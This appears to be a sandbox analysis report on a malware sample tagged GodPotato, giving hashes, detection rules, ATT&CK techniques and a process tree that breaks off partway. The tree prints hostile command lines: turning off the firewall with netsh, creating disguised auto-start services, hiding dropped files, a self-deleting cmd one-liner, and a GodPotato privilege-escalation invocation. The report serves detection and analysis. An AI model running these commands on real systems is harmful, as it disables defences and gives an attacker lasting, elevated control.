godpotato | d83fbe4d4d7fd5f6c4b3200b0ef310293ba250d3ee7fe0f6003c8b3c15a359e0

Analysis

max time kernel
148s
max time network
139s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/11/2026, 05:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe
Size 2.9MB
Sample261110-fxbphstx7m
SHA256 d83fbe4d4d7fd5f6c4b3200b0ef310293ba250d3ee7fe0f6003c8b3c15a359e0
MD5 d33687648d316587f834e273b29f2d3d
SHA1 5a16f0d1007cec569b89dd4071b18a80d9f63e81
SHA512 10cba85e396357f40ef2ceaa2bd3e2fa62b60c12261152f1e8d871eeeb62560a54eba47f1e903ac996a21ee2e0246007737aaea91eae4edef56518d19562c28b
SSDEEP 49152:2at3O+jD+KIZoPUSYP8iWOry7je9du+6QssnZYIU6i:2at39jDSxvFO6u+BJZn+
TLSH
T1CAD58D03E69584F9D49EC078C356B632EA32B88A0AF476EB17E44A103F67F905F1D719
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution godpotato hacktool persistence privilege_escalation

Malware Config

Signatures

Family: GodPotato
GodPotato is an open-source privilege escalation tool written in C#.
hacktool godpotato

Contains code to disable Windows Defender 2 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/files/0x0003000000000439-1.dat	disable_win_def
behavioral2/files/0x000c00000001c5c7-9.dat	disable_win_def

Detects GodPotato 3 IoCs

hacktool

resource	yara_rule
behavioral2/files/0x000c00000001c5ca-16.dat	family_godpotato
behavioral2/memory/3608-19-0x0000000000CA0000-0x0000000000CB6000-memory.dmp	family_godpotato
behavioral2/memory/3608-20-0x0000000001980000-0x0000000001994000-memory.dmp	family_godpotato

Custom signature

Detects executables containing artifacts associated with disabling Widnows Defender 2 IoCs

resource	yara_rule
behavioral2/files/0x0003000000000439-1.dat	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/files/0x000c00000001c5c7-9.dat	INDICATOR_SUSPICIOUS_DisableWinDefender

Custom signature

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral2/files/0x0003000000000439-1.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/files/0x000c00000001c5c7-9.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Modifies Windows Firewall 2 TTPs 4 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4352	netsh.exe
6112	netsh.exe
6100	netsh.exe
5496	netsh.exe

Sets file to hidden 1 TTPs 11 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
352	attrib.exe
6540	attrib.exe
7120	attrib.exe
5656	attrib.exe
1640	attrib.exe
3096	attrib.exe
3880	attrib.exe
4116	attrib.exe
4488	attrib.exe
1216	attrib.exe
1992	attrib.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 10 IoCs

pid	Process
1152	csrss.exe
4772	csrss.exe
4552	.kp.exe
3608	_gp4552.exe
2496	Svc.exe
792	Svc.exe
1880	Svc.exe
6196	Svc.exe
6880	Svc.exe
3244	Svc.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system\csrss.exe	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe
File opened for modification	C:\Windows\system\csrss.exe	attrib.exe
File created	C:\Windows\Help\csrss.exe	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe
File opened for modification	C:\Windows\Help\csrss.exe	attrib.exe

Launches sc.exe 32 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6480	sc.exe
1532	sc.exe
4148	sc.exe
7028	sc.exe
7108	sc.exe
6324	sc.exe
6828	sc.exe
2788	sc.exe
1108	sc.exe
4876	sc.exe
6512	sc.exe
6688	sc.exe
5912	sc.exe
5676	sc.exe
4736	sc.exe
4316	sc.exe
4276	sc.exe
352	sc.exe
4956	sc.exe
1532	sc.exe
3968	sc.exe
5608	sc.exe
2780	sc.exe
4888	sc.exe
6948	sc.exe
3632	sc.exe
1820	sc.exe
1692	sc.exe
2236	sc.exe
4160	sc.exe
3280	sc.exe
6388	sc.exe

Queries registry keys for unique system GUIDs 1 TTPs 3 IoCs

Queries the MachineGuid or HwProfileGuid value from the command line, commonly used to create a unique victim ID.

discovery

System Information Discovery

T1082

pid	Process
4716	reg.exe
1392	reg.exe
4512	reg.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4820	cmd.exe
4788	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 16 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Svc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Svc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Svc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Svc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Svc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Svc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Svc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 5 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3608	_gp4552.exe
4788	cmd.exe
6048	PING.EXE
4820	cmd.exe
4984	PING.EXE

System Service Discovery 1 TTPs
Adversaries may try to gather information about registered local system services.
discovery

System Service Discovery
T1007

Gathers network information 2 TTPs 4 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1116	ipconfig.exe
1320	ipconfig.exe
3664	ipconfig.exe
6648	ipconfig.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4984	PING.EXE
6048	PING.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4584	wmic.exe
4584	wmic.exe
4584	wmic.exe
4584	wmic.exe
5800	wmic.exe
5800	wmic.exe
5800	wmic.exe
5800	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4584	wmic.exe
Token: SeSecurityPrivilege	4584	wmic.exe
Token: SeTakeOwnershipPrivilege	4584	wmic.exe
Token: SeLoadDriverPrivilege	4584	wmic.exe
Token: SeSystemProfilePrivilege	4584	wmic.exe
Token: SeSystemtimePrivilege	4584	wmic.exe
Token: SeProfSingleProcessPrivilege	4584	wmic.exe
Token: SeIncBasePriorityPrivilege	4584	wmic.exe
Token: SeCreatePagefilePrivilege	4584	wmic.exe
Token: SeBackupPrivilege	4584	wmic.exe
Token: SeRestorePrivilege	4584	wmic.exe
Token: SeShutdownPrivilege	4584	wmic.exe
Token: SeDebugPrivilege	4584	wmic.exe
Token: SeSystemEnvironmentPrivilege	4584	wmic.exe
Token: SeRemoteShutdownPrivilege	4584	wmic.exe
Token: SeUndockPrivilege	4584	wmic.exe
Token: SeManageVolumePrivilege	4584	wmic.exe
Token: 33	4584	wmic.exe
Token: 34	4584	wmic.exe
Token: 35	4584	wmic.exe
Token: 36	4584	wmic.exe
Token: SeIncreaseQuotaPrivilege	4584	wmic.exe
Token: SeSecurityPrivilege	4584	wmic.exe
Token: SeTakeOwnershipPrivilege	4584	wmic.exe
Token: SeLoadDriverPrivilege	4584	wmic.exe
Token: SeSystemProfilePrivilege	4584	wmic.exe
Token: SeSystemtimePrivilege	4584	wmic.exe
Token: SeProfSingleProcessPrivilege	4584	wmic.exe
Token: SeIncBasePriorityPrivilege	4584	wmic.exe
Token: SeCreatePagefilePrivilege	4584	wmic.exe
Token: SeBackupPrivilege	4584	wmic.exe
Token: SeRestorePrivilege	4584	wmic.exe
Token: SeShutdownPrivilege	4584	wmic.exe
Token: SeDebugPrivilege	4584	wmic.exe
Token: SeSystemEnvironmentPrivilege	4584	wmic.exe
Token: SeRemoteShutdownPrivilege	4584	wmic.exe
Token: SeUndockPrivilege	4584	wmic.exe
Token: SeManageVolumePrivilege	4584	wmic.exe
Token: 33	4584	wmic.exe
Token: 34	4584	wmic.exe
Token: 35	4584	wmic.exe
Token: 36	4584	wmic.exe
Token: SeIncreaseQuotaPrivilege	5800	wmic.exe
Token: SeSecurityPrivilege	5800	wmic.exe
Token: SeTakeOwnershipPrivilege	5800	wmic.exe
Token: SeLoadDriverPrivilege	5800	wmic.exe
Token: SeSystemProfilePrivilege	5800	wmic.exe
Token: SeSystemtimePrivilege	5800	wmic.exe
Token: SeProfSingleProcessPrivilege	5800	wmic.exe
Token: SeIncBasePriorityPrivilege	5800	wmic.exe
Token: SeCreatePagefilePrivilege	5800	wmic.exe
Token: SeBackupPrivilege	5800	wmic.exe
Token: SeRestorePrivilege	5800	wmic.exe
Token: SeShutdownPrivilege	5800	wmic.exe
Token: SeDebugPrivilege	5800	wmic.exe
Token: SeSystemEnvironmentPrivilege	5800	wmic.exe
Token: SeRemoteShutdownPrivilege	5800	wmic.exe
Token: SeUndockPrivilege	5800	wmic.exe
Token: SeManageVolumePrivilege	5800	wmic.exe
Token: 33	5800	wmic.exe
Token: 34	5800	wmic.exe
Token: 35	5800	wmic.exe
Token: 36	5800	wmic.exe
Token: SeIncreaseQuotaPrivilege	5800	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4356 wrote to memory of 4352	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	90
PID 4356 wrote to memory of 6112	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	91
PID 4356 wrote to memory of 1392	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	92
PID 4356 wrote to memory of 4584	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	96
PID 4356 wrote to memory of 5800	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	99
PID 4356 wrote to memory of 3712	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	101
PID 4356 wrote to memory of 5912	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	102
PID 4356 wrote to memory of 1656	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	105
PID 4356 wrote to memory of 1692	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	106
PID 4356 wrote to memory of 692	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	109
PID 4356 wrote to memory of 5424	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	111
PID 4356 wrote to memory of 1992	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	113
PID 4356 wrote to memory of 4148	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	115
PID 4356 wrote to memory of 1532	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	117
PID 4356 wrote to memory of 3668	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	119
PID 4356 wrote to memory of 2388	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	122
PID 4356 wrote to memory of 3096	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	124
PID 4356 wrote to memory of 2236	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	126
PID 4356 wrote to memory of 3968	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	128
PID 4356 wrote to memory of 5508	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	130
PID 4356 wrote to memory of 2640	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	131
PID 4356 wrote to memory of 828	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	132
PID 4356 wrote to memory of 2512	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	133
PID 4356 wrote to memory of 3880	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	137
PID 4356 wrote to memory of 4820	4356	2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe	139
PID 5508 wrote to memory of 2392	5508	net.exe	142
PID 828 wrote to memory of 1564	828	net.exe	143
PID 4772 wrote to memory of 4716	4772	csrss.exe	146
PID 1152 wrote to memory of 4512	1152	csrss.exe	147
PID 4820 wrote to memory of 4984	4820	cmd.exe	148
PID 4772 wrote to memory of 5496	4772	csrss.exe	151
PID 4772 wrote to memory of 6100	4772	csrss.exe	152
PID 1152 wrote to memory of 5676	1152	csrss.exe	155
PID 1152 wrote to memory of 4736	1152	csrss.exe	158
PID 4772 wrote to memory of 3632	4772	csrss.exe	161
PID 1152 wrote to memory of 4316	1152	csrss.exe	163
PID 4772 wrote to memory of 2460	4772	csrss.exe	165
PID 4772 wrote to memory of 4116	4772	csrss.exe	167
PID 4772 wrote to memory of 716	4772	csrss.exe	168
PID 4772 wrote to memory of 352	4772	csrss.exe	171
PID 4772 wrote to memory of 1116	4772	csrss.exe	172
PID 4772 wrote to memory of 4552	4772	csrss.exe	175
PID 4772 wrote to memory of 4696	4772	csrss.exe	177
PID 4552 wrote to memory of 3608	4552	.kp.exe	179
PID 3608 wrote to memory of 4788	3608	_gp4552.exe	181
PID 4788 wrote to memory of 6048	4788	cmd.exe	183
PID 4772 wrote to memory of 1132	4772	csrss.exe	184
PID 4772 wrote to memory of 4160	4772	csrss.exe	186
PID 1152 wrote to memory of 4888	1152	csrss.exe	188
PID 4772 wrote to memory of 3784	4772	csrss.exe	190
PID 4772 wrote to memory of 1320	4772	csrss.exe	192
PID 4772 wrote to memory of 3988	4772	csrss.exe	194
PID 4772 wrote to memory of 2496	4772	csrss.exe	196
PID 4772 wrote to memory of 6540	4772	csrss.exe	198
PID 4772 wrote to memory of 1728	4772	csrss.exe	200
PID 4772 wrote to memory of 5412	4772	csrss.exe	201
PID 4772 wrote to memory of 792	4772	csrss.exe	202
PID 4772 wrote to memory of 7028	4772	csrss.exe	206
PID 1152 wrote to memory of 7108	1152	csrss.exe	208
PID 4772 wrote to memory of 7120	4772	csrss.exe	210
PID 4772 wrote to memory of 4480	4772	csrss.exe	212
PID 4772 wrote to memory of 4276	4772	csrss.exe	214
PID 1152 wrote to memory of 5608	1152	csrss.exe	216
PID 4772 wrote to memory of 2788	4772	csrss.exe	218

Views/modifies file attributes 1 TTPs 26 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5656	attrib.exe
2140	attrib.exe
6856	attrib.exe
1992	attrib.exe
3096	attrib.exe
6540	attrib.exe
4480	attrib.exe
6180	attrib.exe
1640	attrib.exe
1216	attrib.exe
7120	attrib.exe
4116	attrib.exe
4696	attrib.exe
3988	attrib.exe
1728	attrib.exe
6164	attrib.exe
6884	attrib.exe
6964	attrib.exe
5412	attrib.exe
4488	attrib.exe
6964	attrib.exe
3880	attrib.exe
2460	attrib.exe
716	attrib.exe
352	attrib.exe
4500	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4356
- C:\Windows\system32\netsh.exe
  "netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4352
- C:\Windows\system32\netsh.exe
  "netsh.exe" firewall set opmode disable
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:6112
- C:\Windows\system32\reg.exe
  "reg" query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Queries registry keys for unique system GUIDs
  PID:1392
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" process get ExecutablePath /format:csv
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4584
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" process get ProcessId,ExecutablePath /format:csv
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5800
- C:\Windows\system32\net1.exe
  "net1.exe" stop ks31f477
  2⤵
  PID:3712
- C:\Windows\system32\sc.exe
  "sc.exe" delete ks31f477
  2⤵
  - Launches sc.exe
  PID:5912
- C:\Windows\system32\net1.exe
  "net1.exe" stop ks31f477s
  2⤵
  PID:1656
- C:\Windows\system32\sc.exe
  "sc.exe" delete ks31f477s
  2⤵
  - Launches sc.exe
  PID:1692
- C:\Windows\system32\cacls.exe
  "cacls.exe" C:\Windows\Help\csrss.exe /e /g everyone:f
  2⤵
  PID:692
- C:\Windows\system32\cacls.exe
  "cacls.exe" C:\Windows\Help\csrss.exe /e /g system:f
  2⤵
  PID:5424
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Help\csrss.exe +a +h +s +r
  2⤵
  - Sets file to hidden
  - Drops file in Windows directory
  - Views/modifies file attributes
  PID:1992
- C:\Windows\system32\sc.exe
  "sc.exe" create ks31f477 binpath= "C:\Windows\Help\csrss.exe -s" displayName= "WMI Performance Adaptor" start= auto
  2⤵
  - Launches sc.exe
  PID:4148
- C:\Windows\system32\sc.exe
  "sc.exe" description ks31f477 "Provides performance library information from Windows Management Instromentation"
  2⤵
  - Launches sc.exe
  PID:1532
- C:\Windows\system32\cacls.exe
  "cacls.exe" C:\Windows\system\csrss.exe /e /g everyone:f
  2⤵
  PID:3668
- C:\Windows\system32\cacls.exe
  "cacls.exe" C:\Windows\system\csrss.exe /e /g system:f
  2⤵
  PID:2388
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\system\csrss.exe +a +h +s +r
  2⤵
  - Sets file to hidden
  - Drops file in Windows directory
  - Views/modifies file attributes
  PID:3096
- C:\Windows\system32\sc.exe
  "sc.exe" create ks31f477s binpath= "C:\Windows\system\csrss.exe -p" displayName= "WMI Performance Adaptnr" start= auto
  2⤵
  - Launches sc.exe
  PID:2236
- C:\Windows\system32\sc.exe
  "sc.exe" description ks31f477s "Provides performance library information from Windows Management Instromentations"
  2⤵
  - Launches sc.exe
  PID:3968
- C:\Windows\system32\net.exe
  "net.exe" start ks31f477s
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5508
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start ks31f477s
    3⤵
    PID:2392
- C:\Windows\system32\net1.exe
  "net1.exe" start ks31f477s
  2⤵
  PID:2640
- C:\Windows\system32\net.exe
  "net.exe" start ks31f477
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:828
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start ks31f477
    3⤵
    PID:1564
- C:\Windows\system32\net1.exe
  "net1.exe" start ks31f477
  2⤵
  PID:2512
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\.kb4013 +a +h +s +r
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:3880
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping 127.0.0.1 -n 6 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\2026-11-10_d33687648d316587f834e273b29f2d3d_akira_cobalt-strike_glassworm_hacktools_icedid_njrat_rha.exe"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 6
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4984

C:\Windows\system\csrss.exe
C:\Windows\system\csrss.exe -p
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Windows\system32\reg.exe
  "reg" query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Queries registry keys for unique system GUIDs
  PID:4512
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:5676
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:4736
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:4316
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:4888
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:7108
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:5608
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:2780
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:3280
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:4876
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:6480
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:6512
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:4956
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:1820
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477
  2⤵
  - Launches sc.exe
  PID:6948

C:\Windows\Help\csrss.exe
C:\Windows\Help\csrss.exe -s
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\system32\reg.exe
  "reg" query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Queries registry keys for unique system GUIDs
  PID:4716
- C:\Windows\system32\netsh.exe
  "netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5496
- C:\Windows\system32\netsh.exe
  "netsh.exe" firewall set opmode disable
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:6100
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:3632
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\.kp.exe -s -r -a -h
  2⤵
  - Views/modifies file attributes
  PID:2460
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\.kp.exe +h +s
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:4116
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Svc.exe -s -r -a -h
  2⤵
  - Views/modifies file attributes
  PID:716
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Svc.exe +h +s
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:352
- C:\Windows\system32\ipconfig.exe
  "ipconfig"
  2⤵
  - Gathers network information
  PID:1116
- C:\Windows\Temp\.kp.exe
  "C:\Windows\Temp\.kp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\Temp\_gp4552.exe
    "C:\Windows\Temp\_gp4552.exe" -cmd "cmd.exe /c ping -n 10 127.0.0.1 >\\.\pipe\ae153635-ea4d-475a-aa88-e64702de8c47 2>&1"
    3⤵
    - Executes dropped EXE
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Windows\system32\cmd.exe
